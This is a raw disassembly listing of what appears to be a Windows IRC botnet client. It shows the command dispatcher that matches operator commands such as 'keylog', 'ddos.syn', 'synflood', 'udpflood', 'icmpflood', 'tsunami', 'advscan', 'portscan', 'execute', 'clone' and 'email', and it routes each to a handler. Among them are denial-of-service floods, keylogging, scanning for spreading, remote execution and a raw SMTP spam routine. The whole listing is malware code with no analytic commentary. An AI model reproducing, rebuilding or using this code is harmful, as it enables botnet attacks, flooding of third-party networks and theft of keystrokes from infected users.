		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DBD8
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B56C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42B530
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4F4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B4A0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B474
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E974[esi], eax
		jnz	loc_4081AD
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset dword_42B440
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B408
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAF4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBB1C, ebx
		jz	short loc_405F4F
		push	offset unk_42B390
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B364
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B344
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B304
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2E4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2C4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B2A4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B278
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B25C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B944
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42B0E4
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B09C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset dword_42B060
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB994
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBAA8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBAA4
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CBA24
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB9CC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CBA3C
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA74
		push	ebx
